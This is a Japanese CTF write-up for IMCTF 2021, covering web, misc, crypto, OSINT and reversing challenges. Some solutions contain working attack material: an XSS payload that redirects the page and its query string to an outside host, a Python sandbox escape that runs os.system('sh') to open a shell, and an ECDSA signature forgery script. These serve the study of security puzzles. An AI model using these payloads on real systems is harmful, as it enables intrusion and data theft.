3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

IMCTF 2021 writeup

Last updated at Posted at 2021-12-19

軽い気持ちで参加したらかなり難しかった。けど、全完1位。

image.png

imctf.net_challenges(capture (1280)).png

web

can you see cookie?🍪

君には、このクッキーが見えるか?

見える。Base64エンコードされている。

atob(document.cookie.split("=")[1])
'run_run_run_as_fast_you_can!'

imctf{run_run_run_as_fast_you_can!}

for stranger of storage🤠

なんてこった!最悪だぜ!まさかそんなとこに置き忘れるなんて!

ローカルストレージにあった。

localStorage
Storage {woody says: '54,47,56,30,49,47,31,6c,49,48,52,6c,62,47,77,67,65…6,64,57,4a,30,49,47,46,69,62,33,56,30,49,47,6c,30', length: 1}

Hexデコードして、Base64デコード。

imctf{strange_things_are_happenin'_to_me}

not any more logging📜

ソースコードが難読化されていてちゃんと読んでいないけど、console系は潰されているっぽい。ブレークポイントを貼って、_0x55829c()を呼び出して、ステップ実行中に引数を開発者コンソールで実行したらフラグが得られた。

image.png

imctf{we_don't_need_logging_any_more}

DoScript🐣

XSSといったらalert()を出したくなるところ、この問題はalert()が出なくなればクリア。JavaScriptを壊せば良い。

app.py
 :
def js_sanitize(text):
    #I've heard that this is enough to sanitize special characters in JavaScript.
    return "".join([c for c in text if ord(c) > 0x1f]).replace("\\", "\\\\").replace("\"", "\\\"").replace("'", "\\'").replace("/", "\\/")

@app.route("/")
def doscript():
    name = request.args.get("name")
    if not name:
        name = 'Nagoya-Hacker'
    html = f"""<!DOCTYPE html>
<html lang="ja">
<head>
<title>DoScript</title>
<ScRiPt>
//Hack! Hack! Hack!
alert("Hacked by {js_sanitize(name)}!!");
alert("Is there any way to turn off the alerts?");
alert("Hehehehehe");
 :

これ知ってる。U+2028, U+2029でしょ。

Masato Kinugawa Security Blog: U+2028/2029とDOM based XSS

と思ったら、今はこれではJavaScriptは壊れないらしい。へー。

JSでDoSる/ Shibuya.XSS techtalk #11 - Speaker Deck

この次のページに載っている<!--<script>で壊せる。

http://118.27.104.46:31416/?name=<!--<script>

imctf{d1d_y0u_f1nd_d05_by_570r3dx55?}

Num-restaurant🍷

app.py
 :
def sanitize_price(price):
    if not price.isnumeric():
        return "10000000"
    return price

def sanitize_meal(meal):
    if not meal.isascii():
        return "Kasumi"
    #Is it possible to block XSS?
    return "".join([c for c in meal if ord(c) > 0x1f]).replace("\\", "\\\\").replace("\"", "\\\"").replace("'", "\\'").replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("http", "num")

@app.route("/")
def num_restaurant():
    niku = random.randint(1, 1000000)
    sushi = random.randint(1, 1000000)
    yasai = random.randint(1, 1000000)
    price = request.args.get("price")
    meal = request.args.get("meal")
    if (not price) or (not meal):
        script = ''
    else:
        script = f'''<script>
var text = "{sanitize_price(price)}{sanitize_meal(meal)}😋Yummy!!";
alert(text);
</script>
'''
 :

ややこしい。priceprice.isnumeric()が真でなければいけない。mealmeal.isascii()が真でなければいけない上に、エスケープがされる。隠し機能として、Content-Typetext/html; charset=shift_jisにすることができる。

isnumeric123とかが通るのは当然として、一二三でも通るらしい。

>>> "一二三".isnumeric()
True

mealは適当な非ASCII文字を設定すれば、ブラウザがShift_JISで解釈したときに次の文字を取り込んでくれるはず。"がエスケープされた\"\を食ってもらえば良い。httpが潰されるのは//example.comで回避、"'が使えなくても、文字列から脱出さえしていればバッククォートが使える。

priceが、mealが

";location.href=`//my-server.example.com/`+location.search//`

でいけた。

imctf{1_d0n7_w4n7_70_347_5C_4nym0r3}

misc

no this site no life? 🎥

reason.js
const getflag=()=>{location_host=location.host,location.pathname;let e=document.getElementsByClassName("av-retail-m-nav-text-logo")[0].innerText,t=(document.getElementsByTagName("h1")[0].innerText,document.getElementById("nav-logo").innerText),n=document.getElementsByClassName("navFooterCopyright")[0].getElementsByTagName("span")[0].innerText,o=document.getElementsByClassName("nav_a")[34].innerText,a="";return a+=e[2]+e[3]+t[1]+n[34]+n[38],a+="{",a+=o[1]+e[2]+n[35],a+="_",a+=o[1]+e[4]+n[37]+e[1]+n[34],a+="_",a+=location_host[0]+n[37]+n[35],a+="_",a+=n[34]+location_host[0]+e[10],a+="_",a+=n[35]+e[2]+location_host[7]+e[4]+n[35],a+="_",a+=n[34]+e[10]+e[10],a+="_",(a+=n[35]+e[3]+n[37]+n[41]+n[41])+"}"};getflag();

const dp = 'B07PQNYBZ4'

1行目のJavaScriptはページの中から文字列を掻き集めてフラグを作っているっぽいけど、どこのページで実行すれば……? dpってAmazonの商品コードだ。

このページで開発者ツールを開いて、コードを貼り付けるとフラグが出てくる。

imctf{his_heart_was_two_sizes_too_small}

sky tree nest xmas🗼

スカイツリーの高さにちなんで、634回繰り返し圧縮された7zファイル。それぞれにpass123.txtのような形式でパスワードの1文字が書かれている。パスワードは自分より小さい番号のパスワードを全部連結。

シェルスクリプト。

solve.sh
cp ../pass.txt ./pass1.txt
cp ../skytree.7z ./skytree1.7z

pass=""
for i in $(seq 1000)
do
  pass=${pass}$(cat pass${i}.txt | tr --delete '\r\n')
  rm pass${i}.txt
  echo ${pass}

  7z x skytree${i}.7z -p${pass}
  rm skytree${i}.7z
done
 :
174999607706951539193897828876857256078355692772178921060000912825226066123340214890476635772598543718117584383967676307189793466321531109227941295673816738265052178219637919246643554040498891561510731344566165177560039568623725737786192479805484928898963286540923268660274274603137531296557321150622908834087002345784248341933166655850180999694795680945869715102632492440748202027385356897827742009408314639187155792545658986288519357248150344899024835813265079419945122131850442350654627311349209113531030624144057321431319800063388073485028505693240801927410775724083378415279392448086659309842199401774662310756141606651259338477

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-9700K CPU @ 3.60GHz (906EC),ASM,AES-NI)

Scanning the drive for archives:
1 file, 44055 bytes (44 KiB)

Extracting archive: skytree633.7z
--
Path = skytree633.7z
Type = 7z
Physical Size = 44055
Headers Size = 215
Method = LZMA2:48k 7zAES
Solid = +
Blocks = 1

Everything is Ok

Files: 2
Size:       43829
Compressed: 44055
1749996077069515391938978288768572560783556927721789210600009128252260661233402148904766357725985437181175843839676763071897934663215311092279412956738167382650521782196379192466435540404988915615107313445661651775600395686237257377861924798054849288989632865409232686602742746031375312965573211506229088340870023457842483419331666558501809996947956809458697151026324924407482020273853568978277420094083146391871557925456589862885193572481503448990248358132650794199451221318504423506546273113492091135310306241440573214313198000633880734850285056932408019274107757240833784152793924480866593098421994017746623107561416066512593384777

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-9700K CPU @ 3.60GHz (906EC),ASM,AES-NI)

Scanning the drive for archives:
1 file, 43826 bytes (43 KiB)

Extracting archive: skytree634.7z
--
Path = skytree634.7z
Type = 7z
Physical Size = 43826
Headers Size = 178
Method = LZMA2:48k 7zAES
Solid = -
Blocks = 1

Everything is Ok

Size:       47060
Compressed: 43826
cat: pass635.txt: No such file or directory
rm: cannot remove 'pass635.txt': No such file or directory
1749996077069515391938978288768572560783556927721789210600009128252260661233402148904766357725985437181175843839676763071897934663215311092279412956738167382650521782196379192466435540404988915615107313445661651775600395686237257377861924798054849288989632865409232686602742746031375312965573211506229088340870023457842483419331666558501809996947956809458697151026324924407482020273853568978277420094083146391871557925456589862885193572481503448990248358132650794199451221318504423506546273113492091135310306241440573214313198000633880734850285056932408019274107757240833784152793924480866593098421994017746623107561416066512593384777

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-9700K CPU @ 3.60GHz (906EC),ASM,AES-NI)

Scanning the drive for archives:

ERROR: No more files
skytree635.7z
 :

最後はWebPの画像が出てきて、メタ情報にフラグが書かれている。

imctf{xmas_colored_skytree_is_bright}

made of honey🍯

word1:1002:NO PASSWORD*********************:29F98734E7AA3DF2454621FF3928D121:::
word2:1003:NO PASSWORD*********************:2A8CCE5C056D50FAA808457D0F229212:::
word3:1004:NO PASSWORD*********************:E694D490564D15954D68DE40B14F7BFE:::

Windowsのパスワードハッシュ。Linuxの/etc/shadowにあたるもの。

Ophcrack。無料のテーブルだと、word2のpixelとword3のsixしか出てこねぇ。まあ、それならword1はgoogleでしょう。

imctf{google_pixel_six}

pixels equal cells👾

Excel。

image.png

見た感じカラーコードっぽい。

人間の視覚は優秀なので、縮小すれば見えるんですよ……と思ったけどでかすぎてどこにフラグがあるのか分からない。

image.png

テキストファイルにコピペして、真面目に画像に変換。CSSと同様に、例えばCCDDEEは3桁でCDEと書かれるらしい。

solve.py
P = []
for l in open("flag.txt"):
  P += [l.split("\t")]

from PIL import Image

w = len(P[0])
h = len(P)
img = Image.new("RGB", (w, h))
for y in range(h):
  for x in range(w):
    if len(P[y][x])==6:
      r = int(P[y][x][0:2], 16)
      g = int(P[y][x][2:4], 16)
      b = int(P[y][x][4:6], 16)
    else:
      r = int(P[y][x][0]*2, 16)
      g = int(P[y][x][1]*2, 16)
      b = int(P[y][x][2]*2, 16)
    img.putpixel((x, y), (r, g, b))
img.save("flag.png")

image.png

縮小している。元は6000x3375画素の画像。

imctf{google_pixel_six_pro}

brute force gui💪

Windowsアプリ。ヒントは、GUIの操作を自動化して総当たりするか、もしくは解析しろという雰囲気。なぜか立ち上がらないので後者を選択。dnSpy

imctf{7h3_3y3s_ar3_sharp_r1gh+?}

i wanna present🎁

配布ファイルに.gitディレクトリがある。git reflogで漁ると、imctf{Talking_Turboman_Figure}という文字列が見つかるが……Talking_Turboman_Figureを投げたら通った。

$ curl -d '{"present": "Talking_Turboman_Figure"}' -H 'Content-Type: application/json' http://104.196.236.136:12025/big-sock
correct aW1jdGZ7SmluOTEzX0ExMV83aDNfV2F5fQ==

imctf{Jin913_A11_7h3_Way}

whose is this🧑‍🚀

ラボのPCに接続した。接続できたのはいいけれど、いったい誰のPCだろう。取り出せたデータから誰のPCか調べられないかな?

作問者 : ShortArrow

誤って2つのファイルを配布しておりました。 「helmet.enc」と「helmet.list」は、本来出題時に配布するファイルではありませんでした。 問題としては、上記2ファイルの有無に関わらず解けます。

ヒント。

I think # was replaced with tags

what is the step

指定されたアドレスとポートに繋ぐと、誤ってファイルされたらしい2個のファイルにちょっとメッセージが付いたものが出力される。

1個目のファイルはこれ。

helmet.enc
ISO-10303-21;
HEADER;
/* Generated by software containing ST-Developer
 * from STEP Tools, Inc. (www.steptools.com) 
 */

FILE_DESCRIPTION(
/* description */ (''),
/* implementation_level */ '2;1');

FILE_NAME(
/* name */ 'HELM.step',
/* time_stamp */ '2021-12-05T00:47:04+09:00',
/* author */ ('imctf'),
/* organization */ (''),
/* preprocessor_version */ 'ST-DEVELOPER v18.1',
/* originating_system */ 'Autodesk Translation Framework v10.10.0.1391',

/* authorisation */ '');

FILE_SCHEMA (('AUTOMOTIVE_DESIGN { 1 0 10303 214 3 1 1 }'));
ENDSEC;

DATA;
<></>=MECHANICAL_DESIGN_GEOMETRIC_PRESENTATION_REPRESENTATION('',(<></>),<></>);
<></>=SHAPE_REPRESENTATION_RELATIONSHIP('SRR','None',<></>,<></>);
<></>=ADVANCED_BREP_SHAPE_REPRESENTATION('',(<></>),<></>);
<></>=STYLED_ITEM('',(<></>),<></>);
 :

2個目。

helmet.list
# 10#13#21476#11#21483#12#12#14#21475#13#21492#14#14#10875#15#11354#16#11359#17#11364#18#11369#19#11374#20#11379#21#11...

STEPって、3Dプリンタを買った人が3Dモデルを作るのに使っているフォーマットか。他の.stpファイルを見てみると、<></>のところが#10とかになっている。helmet.encの<></>を順にhelmet.listのもので置き換えれば良いらしい。

solve.py
enc = open("helmet.enc").read()
list = ["#"+x for x in open("helmet.list").read().split("#")[1:]]

p = 0
while "<></>" in enc:
  enc = enc.replace("<></>", list[p], 1)
  p += 1

open("helmet.stp", "w").write(enc)

ヘルメット。

image.png

内側にフラグが書かれている。

image.png

imctf{marshmello_helm}

mmm😰

先輩がmなんちゃら?を有効にしたようです。アドレスバーで検索をするなと言われましたが意味が分かりません。

mなんちゃらはmDNS。

/?data=${data}でChromeがhttp://${flag}.${data}にアクセスし、/${port}でポート番号portのパケットキャプチャがダウンロードできる。

/5353を開き、すぐに/?data=localを開いて、ダウンロードされたパケットを見れば良い。

imctf{534rch_73rm5_h4v3_b33n_l34k3d_0m6}

printtext💘

制限を掛けられたPythonコードが実行できるので、フラグを盗めという問題。この手の問題だとsystemとかopenとかが制限されているものが多いけれど、これは9種類の文字しか使えない。

SECCON CTF 2021のhitchhikeという問題で熱い解法があった(いずれ公式writeupも出るはず)けど、潰されている。


追記:作問者writeupが公開されていた。help()が答え。

SECCON CTF 2021作問者Writeup - CTFするぞ


exec(input())で10種類。ぐぬぬ。open(input())でflag.txtがあることは分かったけど、分かってもな……。

ググっていたら似たような問題のwriteupがあった。

Eval Golf (PlaidCTF Writeup) | Kevin Yap

exec(chr(1+1+...+1)+chr(1+1+...+1)+...+chr(1+1+...+1))で任意のコードが実行できる。なるほど。

make.py
cmd = 'os.system("sh")'
cmd = ["chr("+"+1"*ord(c)+")" for c in cmd]
cmd = "exec("+"+".join(cmd)+")"
print("".join(set(cmd)))
print(cmd)
$ nc 160.251.76.58 54321
            _       _    __  _            _    __
 _ __  _ __(_)_ __ | |_ / / | |_ _____  _| |_  \ \
| '_ \| '__| | '_ \| __| |  | __/ _ \ \/ / __|  | |
| |_) | |  | | | | | |_| |  | ||  __/>  <| |_   | |
| .__/|_|  |_|_| |_|\__| |   \__\___/_/\_\__|  | |
|_|                     \_\                    /_/

Can you evaluate `print(text)`?
They don't seem to have the flag.

allow_list> x(r1che)+
your allow_list: ['x', '(', 'r', '1', 'c', 'h', 'e', ')', '+']
eval_code> exec(chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1))
ls -al
total 24
drwxr-sr-x    1 printtex printtex      4096 Dec 17 14:41 .
drwxr-xr-x    1 root     root          4096 Dec 17 13:01 ..
-rw-------    1 printtex printtex         5 Dec 17 14:41 .ash_history
-rwxr-xr-x    1 root     root           745 Dec 17 12:10 app.py
-rwxr-xr-x    1 root     root            38 Dec 17 12:10 flag.txt
cat flag.txt
imctf{7h3_c0d3_15_45_l0n6_45_4_py7h0n}
exit
Let’s roll!!

imctf{7h3_c0d3_15_45_l0n6_45_4_py7h0n}

crypto

static random👽

固定の乱数から得た値を引いて暗号化しているので、問題のスクリプトをコピペして足し算に書き換え。

solve.py
import random


def encoder(inputtext: str):
    random.seed("we wish a merry xmas")
    encoded: str = ""
    for item in inputtext:
        encoded += chr(ord(item) + random.randint(0, 10))
    return encoded


if __name__ == "__main__":
    with open("message.txt", "r") as f:
        flag = f.read()
    print(encoder(flag))

imctf{V3n0m:L3+_7h3r3_B3_Carnag3}

oreore😎

gen.py
 :
def oreore_crypto(flag):
    encoded = base64.b64encode(flag)
    enc = encoded.hex()
    return enc
 :

Python2。

$ python2
Python 2.7.18 (default, Mar  8 2021, 13:02:45)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "6157316a64475a374d484a6c4d484a6c58324e79655842304d4639706331397a6458426c636c397a5a574e31636d5639".decode("hex").decode("base64")
'imctf{0re0re_crypt0_is_super_secure}'

imctf{0re0re_crypt0_is_super_secure}

love letter💌

単一換字式暗号。{の前がimctfということは分かるので、後はそれを手がかりに。

ewvnuwjq wlte b cupl cleelx eu ibtbiu rux fjxqwehbw.
ewvnuwjq cqilw fer, wu jl vwlk ejl rcbz eu ldgxlww hn brrlfequt.
ejl cupl cleelx mbw qhfer{lnl_cupl_nuv_ibtbiu_nlbbbbj}.
ibtbiu mbw wjufilk btk euwwlk ejl cupl cleelx.
tsuyoshi sent a love letter to kanako for christmas.
tsuyoshi likes ctf, so he used the flag to express my affection.
the love letter was imctf{eye_love_you_kanako_yeaaaah}.
kanako was shocked and tossed the love letter.

imctf{eye_love_you_kanako_yeaaaah}

common♊️

flagが2回暗号化されているようです。

$e_1=65536$と$e_2=65538$でRSA暗号化した結果が与えられる。

$\frac{m^{e_2}}{m^{e_1}}=m^2$。これが$n$より小さかったので、普通に平方根。

solve.py
n = 21141157755370440356159016558867591002795131037765353220781763950242197787546988623583333748613811615876039600044067795582387314625044873018261912055648316947575307397145571269092683237196318163742534102252564452361648000741215145961263035358948910750394941304616916013217678630294578579032413375393774307079767343057241805957456859330160131811246961956716626217712879502367810458962663138839207104998925545962808329297100387478763021607429645752111666523372296094568288414788741918520918522347389517685977356020153749161423831061236785869435119648010372663034476232600939002450611487244980761240697255092515294619063
e1 = 65536
c1 = 3791139181938569737398685036032381737646987513051659017777895787043616313081106838760662536132081707503545049439606032069727376790572333643094529595081085118571506461893089039469054703087386815141490544138726142314337827447061522144729907408053083672097701520947030283539764963562701091579919487153984526052282424975277999492006498441654336183574233720547915500793830555227254993335348447191157770264921144000194606354966874727918714437428556969904356868934618577114911104025392029907939301331113924863412657322707967483351467004854177190395076310650546542866389721479249039989850401261446124771193559166329619972412
e2 = 65538
c2 = 9479987054301003593696498729807102589604512322454236806662495038269939932383233766107579478386705533651017857595249113906203900757985576318399557582785561924440535008414598465159052407108648112038858687677552218404377633749009339690058222162908839308847763582094729669124528370642665466262258176588951705959922822288462616323273663488143476234490690202535922260303842658128571121608034815328952318543895796544411651444423903851422043107669054499710424643274879906277104856140792871842468587164924689276336292808339852752054246714774764674969279059667783378523996744567909634744703888058392004064096159069736198607229

from Crypto.Util.number import *

f2 = inverse(c1, n)*c2%n
f = 0
b = 2**1024
while b>0:
  if (f+b)**2<=f2:
    f += b
  b //= 2
print(long_to_bytes(f).decode())

imctf{y0u_are_an_rsa_exp0rt}

pxkemxn🐶

線形合同法の乱数予測。

M = 54354118932293738974277735009690054672438569183669264435593776508452144737651
x0 = 27562969846242726464849700066934036402432300755063353950289314180737804494366
x1 = 53881790667921922669270635160364649792695336386197364717009941696103524473701
x2 = 18353049655762832365359178635985811169156727614439565352194778213695599906765

def inv(x):
  return pow(x, M-2, M)

d0 = x1-x0
d1 = x2-x1
B = (d0*x1-d1*x0)*inv(x1-x0)%M
A = ((d0-B)*inv(x0)+1)%M
S = (x0-B)*inv(A)%M

x = S
X = []
for i in range(101):
  x = (A*x+B)%M
  X += [x]

for x in X:
  print(x)

imctf{41406001562898874001864598429475444818799641840147213206874340730032400227277}

origin🔐

楕円曲線DSA。ただし、攻撃者が$G$を指定することができる。

image.png

Wikipediaの解説を睨みながら考える。指定できる$G$の選択は$Q_A$くらいしかなさそう。$r=x_1$が楕円曲線上の点かつ係数なのがやっかい。$r$を$G$のx座標として、あとは$s$を調節して$G$の係数を1にすれば良いのか。

solve.py
from pwn import *

s = remote("18.181.165.199", 54321)

s.recvuntil(b"public key : ")
(px, py) = eval(s.recvline()[:-1].decode())

import hashlib
msg = "Christmas"
h = hashlib.sha256(msg.encode()).digest()
h = int.from_bytes(h, "big")

s.sendlineafter(b"R: ", str(px).encode())
s.sendlineafter(b"S: ", str(h+px).encode())
s.sendlineafter(b"G_x: ", str(px).encode())
s.sendlineafter(b"G_y: ", str(py).encode())
print(s.recvline().decode()[:-1])
print(s.recvline().decode()[:-1])

何回か試すと通る。

$ python3 solve.py
[+] Opening connection to 18.181.165.199 on port 54321: Done
verification failed.
Traceback (most recent call last):
  File "solve.py", line 18, in <module>
 :
EOFError
[*] Closed connection to 18.181.165.199 port 54321
$ python3 solve.py
[+] Opening connection to 18.181.165.199 on port 54321: Done
verification failed.
Traceback (most recent call last):
  File "solve.py", line 18, in <module>
 :
EOFError
[*] Closed connection to 18.181.165.199 port 54321
$ python3 solve.py
[+] Opening connection to 18.181.165.199 on port 54321: Done
verification successed!
imctf{funny_516n_v3r1f1c4710n_5y573m}
[*] Closed connection to 18.181.165.199 port 54321

なぜ落ちるときがあるのかというと、h+pxnの剰余にするのをサボっているから。

imctf{funny_516n_v3r1f1c4710n_5y573m}

osint

ready made default⚾

相手が席を外したので、Wi-Fi ルーターのパスワードを調べることにした。SSID は TP-Link_3F04_5G だ。

ぐぐると固定っぽいな。

imctf{admin_admin}

spaspaspaspaspa🍝

たかしくんは、画像の料理を食べに、あるお店へ行きました。 彼はその料理を完食した時、そのお店に因んだ合言葉を発しました。その合言葉を答えて下さい。

喫茶マウンテン……はググらなくても分かったけど、合言葉が分からない。「登頂」だった。

imctf{登頂}

go home🏡

池の向こうに見える、屋根が赤い家の名前を特定して下さい

トトロだ。名前は分からん。ググった。なるほど。

imctf{サツキとメイの家}

birthday of my favorite🎂

あずにゃんのケーキ。

imctf{inosin580}

P0keM0n G0🥎

ポケストップのスクショから場所を特定。

imctf{35.156641,136.963986}

zerosolve🕛

和時計の写真。

似たようなのいっぱいあるしどうしろと……と思ったけど、普通にGoogle画像検索で見つかった。キーワードに「和時計」を追加。

(20+) Imasen 犬山からくりミュージアム 玉屋庄兵衛工房 - 投稿 | Facebook

baguhan💸

みんなもimctf君と一緒にバグハンティングに出かけませんか? 賞金でおいしいお肉が食べたいな🍖

imctf君いた。

imctf{175_4_r1ch_m4n5_w0rld}

rev

electric noticeboard🪧

16セグメントで文字列を出力するプログラム。

問題のソースコードをコピペして、本来は16セグメントに出力する関数を差し替えて、文字列を作るようにした。

solve.py
X = [
 "",
 "",
 "",
 "",
 "",
]

def TurnOn(A1, A2, B, C, D1, D2, E, F, G1, G2, J, K, L, M, N, P, DP):
  X[0] += " "+("-" if A1 else " ")+" "+("-" if A2 else " ")+"  "
  X[1] += ("|" if F else " ")+("\\" if J else " ")+("|" if K else " ")+("/" if L else " ")+("|" if B else " ")+" "
  X[2] += " "+("-" if G1 else " ")+" "+("-" if G2 else " ")+"  "
  X[3] += ("|" if E else " ")+("/" if P else " ")+("|" if N else " ")+("\\" if M else " ")+("|" if C else " ")+" "
  X[4] += " "+("-" if D1 else " ")+" "+("-" if D2 else " ")+" "+("." if DP else " ")

TurnOn(False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, True, False, False, True, False, True, True, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, True, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, True, False, False, False, True, False, False, True, False, False, True, False, False, True, False, False)
TurnOn(False, False, False, True, False, False, True, False, False, False, False, False, False, True, False, True, False)
TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, True, False, False, True, False, False, False, False, False, False, True, False, True, False)
TurnOn(False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, False, False, False, False, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, False, False, False, False, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, False, True, False, False, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, True, False, True, True, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
